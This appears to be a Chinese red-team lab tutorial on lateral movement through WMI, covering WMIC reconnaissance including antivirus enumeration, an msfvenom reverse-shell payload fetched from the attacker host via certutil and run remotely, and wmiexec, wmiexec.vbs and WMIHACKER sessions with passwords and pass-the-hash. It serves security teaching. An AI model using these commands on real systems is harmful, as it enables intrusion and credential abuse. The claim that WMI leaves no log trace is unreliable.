ATT&CK视角下的红蓝对抗:二十三.横向移动之利用WMI进行横向渗透

2023-11-20 21:30:29 浏览数 (2)

前言

WMI即Windows Management Instrumentation,用于管理正在运行的Windows主机。用户利用WMI可以轻松地与系统各类资源进行交互,如打开指定进程、远程启动计算机、设定指定程序在指定时间运行、查询Windows日志等。我们可以把它当作API来与Windows系统进行相互交流。在渗透测试的过程中,WMI的价值就是不需要下载和安装,因为WMI是Windows系统自带的功能,而且整个运行过程都在计算机内存中进行,操作记录不会在Winodws日志中留存。在前面的内容中对WMI有过介绍,因此不过多讲解原理。

三.利用WMI进行横向渗透

WMI即Windows Management Instrumentation,用于管理正在运行的Windows主机。用户利用WMI可以轻松地与系统各类资源进行交互,如打开指定进程、远程启动计算机、设定指定程序在指定时间运行、查询Windows日志等。我们可以把它当作API来与Windows系统进行相互交流。在渗透测试的过程中,WMI的价值就是不需要下载和安装,因为WMI是Windows系统自带的功能,而且整个运行过程都在计算机内存中进行,操作记录不会在Winodws日志中留存。在前面的内容中对WMI有过介绍,因此不过多讲解原理。利用WMI进行横向渗透的拓扑图如图1-1所示,实验环境如表1-1所示。

图1-1 利用WMI进行横向渗透拓扑图  图1-1 利用WMI进行横向渗透拓扑图

表1-1 利用WMI进行横向渗透实验环境

主机

服务类型

IP地址

Kali 2022

攻击机

10.10.10.2

Windows 2012 R2

跳板机

10.10.10.3、192.168.1.2

Windows 2008 R2

核心靶标

10.10.10.4、192.168.1.3

1.WMIC

WMIC是Windows自带的一款用来管理操作WMI的工具。利用该工具可以针对本机进行信息收集,或者当拥有目标凭据后通过该工具远程查询信息。

1). WMIC本机信息收集

通过WMIC,我们可以查询一些系统的基本信息,如果想要查询系统启动项可以使用命令wmic startup list brief或者wmic startup get command,caption,执行结果如图1-2所示。从图中可以看出两条命令都可以查出系统启动项,只不过一个使用list,另一个使用get。

图1-2 获取系统启动项图1-2 获取系统启动项

如果想要查询当前系统处于运行状态的服务,可以使用wmic service where (state=”running”) get caption, name, startmode命令,执行结果如图1-3所示。

 图1-3 查询处于运行状态的服务 图1-3 查询处于运行状态的服务

如果想要知道当前系统运行什么杀毒软件,可以使用命令wmic /namespace:rootsecuritycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe,执行结果如图1-4所示。

图1-4 获取系统运行杀毒软件图1-4 获取系统运行杀毒软件

使用命令wmic /namespace:rootSecurityCenter2 path AntiVirusProduct get * /value,可以进一步获取杀毒软件的详细信息,执行结果如图1-5所示。

图1-5 获取杀毒软件的详细信息图1-5 获取杀毒软件的详细信息

2). WMIC远程获取Shell

在攻击机上执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.2 LPORT=10090 -f exe > exp.exe命令来生成一个回连攻击机程序,执行结果如图1-6所示。

图1-6 生成回连攻击机程序图1-6 生成回连攻击机程序

为了后续方便目标主机下载回连攻击机程序,我们可以在攻击机中执行python3 -m http.server 8080命令来搭建一个简单的Web服务器,成功开启该服务器后如图1-7所示。

图1-7 搭建Web服务器图1-7 搭建Web服务器

在跳板机使用WMIC远程连接目标主机,通过攻击机的Web服务器下载并执行回连攻击机程序,使用命令执行结果如图1-8所示。其中process call create代表创建一个指定进程,这里进程设置为cmd.exe;/c则是cmd.exe的参数,后面用来设置要执行的命令。

代码语言:javascript复制
wmic /node:10.10.10.4 /user:Administrator /password:Password@123 process call create "cmd.exe /c certutil.exe -urlcache -f -split http://10.10.10.2:8080/exp.exe&&exp.exe"

图1-8 通过WMIC远程执行命令图1-8 通过WMIC远程执行命令

命令执行成功后,我们将在Web服务器中看到请求,如图1-9所示。而MSF上也将接收到靶标机器的回连,如图1-10所示。

图1-9 Web服务器收到请求图1-9 Web服务器收到请求
图1-10 成功获取会话图1-10 成功获取会话

当然,我们也可以通过net use建立IPC$连接的方式,将木马文件复制到目标机器中,随后使用WMIC指定木马路径即可。

2. wmiexec

通过WMIC远程连接去执行命令,命令执行结果将不会回显,但是通过Impacket工具包中的wmiexec.py文件可以获得一个具有交互的shell,使用命令python3 wmiexec.py Administrator:Password@123@10.10.10.4,即可获取到目标的一个交互式会话,如图1-11所示。

图1-11 通过wmiexec进行连接图1-11 通过wmiexec进行连接

当然wmiexec不仅能通过账号密码进行登录,还可以通过传递哈希值的方式进行登录。已知10.10.10.4的Administrator用户的哈希为a29f7623fd11550def0192de9246f46b,使用命令python3 wmiexec.py -hashes 00000000000000000000000000000000:a29f7623fd11550def0192de9246f46b Administrator@10.10.10.4进行连接,执行结果如图1-12所示,可以看到成功建立交互式会话。

图1-12 通过用户哈希进行连接图1-12 通过用户哈希进行连接

3.wmiexec.vbs

该工具可以让我们得到回显,使用方法为cscript wmiexec.vbs /cmd 10.10.10.4 Administrator Password@123 whoami,执行结果如图1-13所示。

图1-13 wmiexec.vbs远程执行命令图1-13 wmiexec.vbs远程执行命令

4.WMICHACKER

WMI是通过135端口建立连接的,WMIEXEC为了使命令进行回显,会将命令执行结果写入文本中,随后通过445端口去查看文本内容,而WMICHACKER可以不通过445端口达到命令回显的效果。对此,使用命令cscript WMIHACKER_0.6.vbs /cmd 10.10.10.4 Administrator "Password@123" whoami 1,执行结果如图1-14所示。

图1-14 WMICHACKER执行命令图1-14 WMICHACKER执行命令

本篇总结

本文介绍了利用WMI进行横向渗透的方法。WMI是Windows系统自带的功能,用于管理正在运行的Windows主机。通过WMIC工具可以获取系统信息,如启动项、运行状态服务、杀毒软件等。攻击者可以利用WMIC远程获取Shell,通过攻击机搭建Web服务器下载并执行回连攻击机程序。此外,还可以使用wmiexec.py工具获取交互式会话,通过传递哈希值进行登录。wmiexec.vbs工具可以让我们得到回显,而WMICHACKER工具可以不通过445端口达到命令回显的效果

我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!

0 人点赞